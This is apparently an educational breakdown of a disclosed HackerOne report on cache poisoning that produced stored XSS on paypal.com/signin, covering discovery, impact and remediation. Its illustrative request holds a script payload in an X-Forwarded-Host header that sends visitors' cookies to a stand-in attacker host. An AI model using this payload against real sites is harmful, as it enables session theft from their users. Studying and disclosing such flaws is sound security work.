← All breakdowns
Stored XSShigh$18,900PayPal

Stored XSS on paypal.com/signin via cache poisoning

By poisoning a cache key, a researcher got a malicious response served from PayPal's own signin page - turning a caching quirk into stored cross-site scripting on one of the most sensitive pages on the internet. Shows how XSS plus caching equals persistent, widespread impact.

Read the original HackerOne report

A caching misconfiguration let a researcher permanently plant malicious JavaScript on paypal.com/signin - one of the most sensitive pages on the internet - by poisoning the cache with a crafted response that got stored and re-served to every subsequent visitor.

Stay Legal

This breakdown is for educational purposes only. Cache poisoning and cross-site scripting attacks against systems you do not own or have explicit written authorization to test are illegal and harmful. Never attempt these techniques outside of authorized testing environments.

The Target

paypal.com/signin - the PayPal login page, served to millions of users. PayPal, like most large platforms, sits behind a CDN/caching layer to reduce origin load and improve performance. Cached responses are keyed on specific request attributes; anything not included in the cache key can be abused to poison what gets stored.

The Vulnerability

This was a cache poisoning attack that resulted in stored XSS. The vulnerability combined two weaknesses:

  1. An unkeyed HTTP header - a request header (or parameter) that the caching layer did not include in the cache key, but whose value was reflected into the response.
  2. Insufficient output encoding - the reflected value was not properly HTML-encoded before being written into the page, enabling JavaScript injection.

Because the cache stored the poisoned response under the legitimate cache key for /signin, every user whose request was served from cache received the attacker's script - making this functionally equivalent to stored XSS despite the payload never touching a database.

The key insight: HTTP caches key responses on a subset of request attributes (typically method, URL, Host, sometimes Accept-Language). Headers outside that set are "unkeyed" - they influence the response but not what the cache uses to index it. Exploit an unkeyed header that gets reflected, and you can store a poisoned response under a legitimate key.

How It Was Found

The researcher used a systematic approach to web cache poisoning (James Kettle's methodology): identify every request input that is reflected in the response but excluded from the cache key. Tools like Burp Suite's Param Miner automate this discovery.

Once a reflected-but-unkeyed input was found, the researcher crafted a request that injected a script tag via that input and induced the cache to store the resulting response. Subsequent requests to /signin - from anyone, anywhere, with no special headers - were served the poisoned cached copy.

An illustrative request demonstrating the poisoning step:

GET /signin HTTP/1.1
Host: www.paypal.com
X-Forwarded-Host: attacker.com"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

If X-Forwarded-Host (or an equivalent header) is reflected into the response HTML without encoding, and is not part of the cache key, the resulting poisoned response gets cached and served to all subsequent visitors as the legitimate /signin page.

researcher@kali: ~
 

Impact

  • Stored XSS on paypal.com/signin - every user visiting the login page received the attacker's JavaScript.
  • The script could steal session cookies, redirect users to a phishing clone, log keystrokes on the login form, or silently exfiltrate credentials as they were typed.
  • Unlike a reflected XSS that requires tricking a user into visiting a crafted URL, this payload required no user interaction beyond visiting the legitimate PayPal login page.
  • PayPal awarded $18,900, reflecting the critical intersection of impact (login page) and scale (all cached visitors).

The Fix

Cache poisoning remediation requires changes at both the caching and application layers:

  1. Include all request inputs that influence the response in the cache key. Use the Vary response header to tell caches which request headers affect the response.
  2. Normalize and strip unrecognized headers before they reach application code - particularly X-Forwarded-*, X-Original-URL, and similar proxy headers.
  3. Encode all reflected output - even if the cache poisoning vector is removed, reflected-but-unencoded input is a reflected XSS vulnerability in its own right.
  4. Implement a strict Content Security Policy (CSP) on sensitive pages like login to restrict where scripts can be loaded from, limiting the damage from any future XSS.
  5. Use cache-busting per user for sensitive authentication pages - or simply set Cache-Control: no-store, private on pages like /signin that should never be cached by a shared CDN.

What You Can Learn

  • Caches amplify reflection vulnerabilities. A reflected XSS that normally requires a crafted link becomes effectively stored XSS when the cache serves it to every subsequent visitor.
  • Unkeyed inputs are the core of cache poisoning. Anything that changes the response but is not in the cache key is a potential poison vector - headers, query parameters, and even cookies can all qualify.
  • HTTP is a layered protocol. Understanding how CDNs, reverse proxies, and origin servers interact - and disagree - is what makes this class of vulnerability exploitable.
  • Vary is a security header, not just a performance one. It tells downstream caches which request attributes produce different responses; misconfiguring it creates the unkeyed-input condition.
  • Login pages deserve no-store. Authentication pages should carry Cache-Control: no-store so shared caches never hold them - both for privacy and to prevent this exact class of attack.

Canonical Report

Full technical details are in the original HackerOne disclosure: HackerOne #488147 - Stored XSS on paypal.com/signin via cache poisoning

Learn the skill behind it

Ports, DNS & HTTP

Open lesson